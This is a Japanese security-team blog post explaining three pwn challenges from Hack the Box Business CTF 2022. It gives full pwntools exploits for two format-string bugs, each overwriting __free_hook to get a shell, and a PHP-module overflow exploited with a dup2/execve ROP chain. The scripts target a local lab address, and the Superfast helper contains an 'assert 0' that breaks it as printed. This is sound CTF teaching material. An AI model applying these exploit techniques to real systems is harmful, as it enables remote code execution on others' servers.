はじめに

はじめまして、IRチームの鈴木です。普段の業務では主にマルウェア解析やレッドチームを担当しています。今回は2022年7月16日に開催されたHack the Box Business CTF 2022にNTT Securityの一員として参加してきたので、出題されたpwn問題について解説したいと思います。

Payback

問題の概要

ボットネットの司令サーバとそのソースコードを発見したので、サーバプログラムのバグを突いて侵入しようというストーリーの問題です。(関数名や表示される文字列にそれらしい単語が含まれているだけで、ボットネットに相当する機能はありません。)

対象のプログラムは実行すると以下のようなメニューから機能を選んで使う形式になっています。


攻撃対象のバグ

ボットを消す機能にフォーマット文字列のバグがあり、ユーザの入力した文字列をそのままprintf関数に渡してしまっています。

実際に%xのようなフォーマット文字列を入力してみると、下図のようにプログラマの意図しない領域のデータを表示しています。

攻撃者が制御可能なデータが何番目に参照されるかを簡単に調べるため、printfABCDEFGH.%lx.%lx.%lx.%lx.%lx.%lx....のような文字列を渡します。すると、下図のような出力になり、入力した文字列の先頭8バイトはフォーマット文字列で8番目に参照されるデータということがわかりました。


攻撃の方針

まずはフォーマット文字列バグを使ってlibcのアドレスをリークします。main関数はlibc_start_mainから呼び出されるのでスタックにlibc_start_mainへの戻りアドレスがあるはずです。printfを呼び出す直前のスタック上でlibc_start_mainへの戻りアドレスを探してみると、下図に示したようにrsp+0xe8の位置にありました。

入力した文字列の先頭はフォーマット文字列から8番目に参照されるデータで、rsp+0x10の位置にあり、スタック上のデータは8バイトずつフォーマット文字列の引数として使われるので、(0xe8-0x10)/8+8を計算すればこの戻りアドレスがフォーマット文字列で何番目に参照されるかがわかります。

計算して実際に試してみると下図のようにlibc_start_main+243のアドレスがリークできました。

libcのリークはできたので、書き込み先を考えます。今回の問題バイナリはGlobal Offset Tableが読み込み専用なので、__free_hookを使います。書き込む際はヌル文字でprintfが止まってしまうことを防ぐため、アドレスをフォーマット文字列の後に置くようにします。


エクスプロイト

最終的に完成したエクスプロイトは以下になります。(実行するにはpython3のpwntoolsが必要です)

#!/usr/bin/env python3


from pwn import *


libc_file = './libc.so.6'
libc = ELF(libc_file)


def p64x(*nums):
    data = b''
    for num in nums:
        data += p64(num)
    return data


def add(r, url, port):
    r.sendlineafter(b'>> ', b'1')
    r.sendlineafter(b'URL: ', url)
    r.sendlineafter(b'(0-65535): ', str(port).encode())
    r.recvuntil(b'Id: ')
    bot_id = int(r.recvuntil(b',')[:-1])
    return bot_id


def delete(r, bot_id, reason):
    assert len(reason)
    r.sendlineafter(b'>> ', b'3')
    r.sendlineafter(b'id: ', str(bot_id).encode())
    r.sendafter(b'deletion: ', reason)
    r.recvuntil(b'Reason: \n')
    data = r.recvuntil(b'\n')
    return data


def main():
    libc_leak_sample = 0x7f6c0b8a80b3
    libc_base_sample = 0x7f6c0b884000
    fmt_top_idx = 8
    fmt_top_offset = 0x10
    libc_start_main_offset = 0xe8

    r = remote('172.17.0.2', 1337)

    dummy = add(r, b'a', 100)
    leak_libc_fmt = '%{}$llx'.format((libc_start_main_offset - fmt_top_offset) // 8 + fmt_top_idx).encode()
    data = delete(r, dummy, leak_libc_fmt)
    libc_leak = int(data, 16)
    libc_base = libc_leak - libc_leak_sample + libc_base_sample
    log.info('libc_leak = ' + hex(libc_leak))
    log.info('libc_base = ' + hex(libc_base))

    dummy = add(r, b'b', 200)
    trigger = add(r, b'/bin/sh', 300)
    padlen = 72
    libc_system = libc_base + libc.symbols['system']
    libc_hook = libc_base + libc.symbols['__free_hook']
    log.info('libc_system = ' + hex(libc_system))
    log.info('libc_hook = ' + hex(libc_hook))
    write_fmt = '%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn'.format(
            (libc_system>> 0) % 256, fmt_top_idx + padlen // 8,
            (libc_system>> 8) % 256 - (libc_system>> 0) % 256 + 256, fmt_top_idx + padlen // 8 + 1,
            (libc_system>>16) % 256 - (libc_system>> 8) % 256 + 256, fmt_top_idx + padlen // 8 + 2,
            (libc_system>>24) % 256 - (libc_system>>16) % 256 + 256, fmt_top_idx + padlen // 8 + 3,
            (libc_system>>32) % 256 - (libc_system>>24) % 256 + 256, fmt_top_idx + padlen // 8 + 4,
            (libc_system>>40) % 256 - (libc_system>>32) % 256 + 256, fmt_top_idx + padlen // 8 + 5,
            ).encode()
    write_fmt = write_fmt.ljust(padlen, b'A')
    write_fmt += p64x(libc_hook, libc_hook + 1, libc_hook + 2, libc_hook + 3, libc_hook + 4, libc_hook + 5)
    delete(r, dummy, write_fmt)

    # free("/bin/sh") => system("/bin/sh")
    r.sendlineafter(b'>> ', b'3')
    r.sendlineafter(b'id: ', str(trigger).encode())
    r.sendlineafter(b'deletion: ', b'')
    r.sendline(b'id; ls; cat flag.txt')

    r.interactive()


if __name__ == '__main__':
    main()


実際に実行してみると下図のようにidlsなどのコマンドを実行できていることがわかります。


Insider

概要

攻撃対象のサーバで独自実装のFTPサーバらしきものが動いているのでそれをエクスプロイトする問題です。バイナリはありますが、ソースコードは与えられていないので、まずはリバースエンジニアリングして、どこにバグがあるのかを特定する必要があります。


解析

IDA Proで解析すると、ループの最初で文字列を受け取り、文字列の最初の部分がどのコマンドと一致するかを調べて、各機能に分岐するという構造になっているようです。(図中の一部の変数名や関数名は私が適当につけています。)



ログインしないとほとんどの機能は使えないようになっていますが、ユーザ名とパスワードは";)"と単純比較されているだけで、簡単にログインできました。


バグ

BKDRという謎のコマンドが実装されており、この機能の中で"%d "とユーザの入力を結合した文字列をprintf関数に渡しているので、フォーマット文字列バグが発生しています。


方針

フォーマット文字列バグによりアドレスのリークが可能ですが、今回はRETRコマンドによって対象サーバ上のファイルを読むことが可能なので、これを使って/proc/self/mapsを読んでlibcのベースアドレスを特定します。この機能でフラグファイルを直接読むことも考えましたが、この問題ではフラグファイルが単純に置かれている形式ではなく、対象サーバ上のフラグ入手プログラムを実行する形式だったので、フラグを直接読むことはできませんでした。

アドレスのリークは解決したので、フォーマット文字列バグを使ってどこを書き換えるかを考えます。今回も__free_hooksystemのアドレスを書き込みます。SIZEコマンドの最後に引数として入力したパスをfreeするようになっているので、あらかじめ__free_hooksystemのアドレスを書き込んでおけば、SIZEコマンドの引数に/bin/shを指定するだけでシェルをとることができます。


エクスプロイト

完成したエクスプロイトがこちらになります。

#!/usr/bin/env python3


from pwn import *


binary_file = './chall'
libc_file   = './libc.so.6'
binary = ELF(binary_file)
libc   = ELF(libc_file)


def p64x(*nums):
    data = b''
    for num in nums:
        data += p64(num)
    return data


def command(r, s):
    r.sendline(s)
    reply = r.recvuntil('\n')
    print(s)
    print(reply)
    return reply


def main():
    fmt_top_gdb    = 0x007fffffffa6c8
    stack_top_gdb  = 0x007fffffff86c0
    stack_top_idx = 6
    padlen = 96
    fmt_top_idx = stack_top_idx + (fmt_top_gdb - stack_top_gdb) // 8

    r = remote('172.17.0.2', 1337)
    r.recvuntil(b'\n')
    command(r, b'user ;)')
    command(r, b'pass ;)')

    r.sendline(b'retr /proc/self/maps')
    data = r.recvuntil(b'completed \r\n')
    for line in data.split(b'\n'):
        if line.endswith(b'libc.so.6'):
            libc_base = int(line.split(b'-')[0], 16)
            break
    log.info('libc_base = ' + hex(libc_base))

    libc_system  = libc_base + libc.symbols['system']
    libc_hook = libc_base + libc.symbols['__free_hook']
    log.info('libc_system = ' + hex(libc_system))
    write_fmt = ''
    pre = 12
    for i in range(6):
        nprint = (libc_system >> (i*8)) % 256 - pre % 256 + 256
        pre = (libc_system >> (i * 8)) % 256
        write_fmt += '%{}c%{}$hhn'.format(nprint, fmt_top_idx + padlen // 8 + i)
    write_fmt = write_fmt.ljust(padlen, 'a').encode()
    write_fmt += p64x(libc_hook, libc_hook+1, libc_hook+2, libc_hook+3, libc_hook+4, libc_hook+5)
    print(write_fmt)
    r.sendline(b'bkdr ' + write_fmt)
    r.sendline(b'size /bin/sh')
    r.interactive()


if __name__ == '__main__':
    main()




Superfast

概要

攻撃対象はWebサーバで、バックエンドのphpにCで書かれたphpのモジュールが入っていて、このモジュールの部分とindex.phpのソースコードが与えられています。


バグ

memcpyの直前の条件分岐で入力された文字列の長さがコピー先のバッファより短いことを確認していますが、符号なし整数どうしの引き算をしているので結果も符号なし整数になります。つまり、入力された文字列のほうが長くても結果が正になってしまい、memcpyが実行されてしまいます。これによって、バッファオーバーフローが起きます。


方針

バグがあるモジュールはphpのライブラリとして読み込まれていて、メインのバイナリはphpです。モジュールにcanaryがないのでバッファオーバーフローで戻りアドレスを書き換えられますが、phpのバイナリがPIE(Position Independent Executable)としてコンパイルされていて、実行時に毎回アドレスが変わるため、ジャンプ先に使える絶対アドレスがありません。

そこで、アドレスの下位12bitはランダム化されないことを利用して、元の戻りアドレスを1バイトだけ書き換えて何かできないかを考えます。

バッファオーバーフローがあるのはdecrypt関数で、decrypt関数はzif_log_cmd関数(PHP_FUNCTION(log_cmd)がマクロで変換された名前)から呼び出されます。つまり、バッファオーバーフローで書き換える戻りアドレスはzif_log_cmddecryptを呼び出した直後のアドレスになっています。"abbbb..."のような文字列を与えたとき、decrypt関数から戻ってくる直前のレジスタやスタックの状態は下図のようになっています。

ここで注目したいのはRDIレジスタに入力した文字列の先頭のアドレスが入っているということです。RDIレジスタは関数を呼び出す際に第1引数を格納するレジスタで、このままprintfのような関数にジャンプすれば、printf("abbbb...")のように入力した文字列をprintf関数に渡して実行できます。

次にもとの戻りアドレス周辺の命令列を確認します。以下の図はzif_log_cmdを逆アセンブルしたものです。

この図を見ると、もとの戻りアドレスから近いところにprint_message関数を呼び出している命令があることがわかります。print_message関数はソースコードを見るとprintfのラッパーのようです。戻りアドレスとこのcall命令のアドレスを見比べると下位1バイトしか違いがないので、バッファオーバーフローで1バイトだけ戻りアドレスを書き換えれば、ここに到達できそうです。

このcall命令はソースコードで示すと下図の枠で囲んだ部分です。

これで、printf関数に任意の文字列を渡して、フォーマット文字列バグのようにアドレスをリークすることができます。

次にスタックのどこにアドレスが格納されているかを確認します。decrypt関数から戻ってくる直前のスタックを見ると、モジュールがphpから呼び出されたときの戻りアドレスが格納されていることがわかります。


この問題の環境ではプロセスをクラッシュさせない限りはphpのプロセスを立ち上げ直さないので、1回目のリクエストでこの値をリークすれば、2回目のリクエストでバッファオーバーフローさせるときにphpに含まれるコードがすべて利用可能になります。

最後にphpのバイナリに含まれる命令列をどう組み合わせて任意コード実行を行うか考えます。今回の問題ではCTFによくあるxinetdではなく、問題のphpのバイナリがソケットを使ってこちら側と通信しています。問題バイナリがソケットを使っている場合、標準入出力はサーバのコンソールにつながっていて、そのまま/bin/shを立ち上げたとしても、こちらから操作することはできません。これを解決するには通信に使われているファイルディスクリプタを標準入出力につなぎ直す必要があるのですが、このような操作を行うのに便利なシステムコールとしてdup2があります。問題のphpバイナリに含まれるsyscall命令は直後にret命令がないため使いにくいですが、幸い問題のphpバイナリがdup2のPLTエントリを持っていたので、dup2でファイルディスクリプタをつなぎ直して、syscallexecveを呼び出せばシェルが取れそうです。

まとめると、

  1. "%lx.%lx.%lx....\x40"のようなデータを送り、バッファオーバーフローを引き起こしてprintfを呼び出し、phpのアドレスをリークする
  2. dup2(sock,0)=>dup2(sock,1)=>dup2(sock,2)=>execve("/bin/sh",0,0)のようなROPチェーンを作り、バッファオーバーフローでこれを実行させる

エクスプロイト

完成したエクスプロイトがこちらになります。

#!/usr/bin/env python3
import requests
import sys
import struct
import urllib
import socket
from telnetlib import Telnet
from time import sleep


def p64(x):
    return struct.pack(chr(0x3c)+'Q', x)


def p64x(*nums):
    data = b''
    for x in nums:
        data += p64(x)
    return data


def encrypt(payload, key):
    assert 0
    encrypted = b''
    for c in payload[:64]:
        encrypted += (c ^ key).to_bytes(1, 'little')
    return encrypted + payload[64:]


def main(host, port, sock_fd):
    php_base_sample = 0x555555400000
    php_leak_sample = 0x5555559900a3

    pop_rdi = 0x20816b
    pop_rsi = 0x2043fc
    pop_rdx = 0x20487c
    pop_rax = 0x208d99
    binsh   = 0x903fc3
    syscall = 0x218481 # no return
    dup2 = 0x201be0

    key = 0x1
    payload = b'%x.' * 18 + b'P>%lx.'
    payload = payload.ljust(0x98, b'b')
    payload += b'\x40'
    print(payload)
    res = requests.get('http://{}:{}/?cmd='.format(host, port) + urllib.parse.quote(encrypt(payload, key)), headers={"CMD_KEY": str(key)})
    print(res)
    for s in res.text.split('.'):
        if s[0:2] == 'P>':
            php_leak = int(s[2:], 16)

    php_base = php_leak - php_leak_sample + php_base_sample
    print('php_base = ' + hex(php_base))

    base = php_base
    key2 = 0x1
    payload2 = b'd' * 0x98
    payload2 += p64x(pop_rdi + base, sock_fd)
    payload2 += p64x(pop_rsi + base, 0)
    payload2 += p64x(dup2 + base)
    payload2 += p64x(pop_rdi + base, sock_fd)
    payload2 += p64x(pop_rsi + base, 1)
    payload2 += p64x(dup2 + base)
    payload2 += p64x(pop_rdi + base, sock_fd)
    payload2 += p64x(pop_rsi + base, 2)
    payload2 += p64x(dup2 + base)
    payload2 += p64x(pop_rdi + base, binsh + base)
    payload2 += p64x(pop_rsi + base, 0)
    payload2 += p64x(pop_rdx + base, 0)
    payload2 += p64x(pop_rax + base, 59)
    payload2 += p64x(syscall + base)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send('GET /?cmd={} HTTP/1.1\r\nHost:{}\r\nCMD_KEY:{}\r\n\r\n'.format(urllib.parse.quote(encrypt(payload2, key2)), host, str(key2)).encode())

    tel = Telnet()
    tel.sock = sock
    tel.interact()
    sock.close()


if __name__ == '__main__':
    main('172.17.0.2', 1337, 4)



おわりに

今回はHack the Box Business CTF 2022で出題されたpwn問題について解説させていただきました。紹介した問題はフォーマット文字列関係が多かったですが、それ以外にはFirefoxやWindowsカーネルのエクスプロイトが出題されていて、全体としては去年と比べて格段に難易度が上がっていたと思います。Firefox問については後日また解説記事を出す予定です。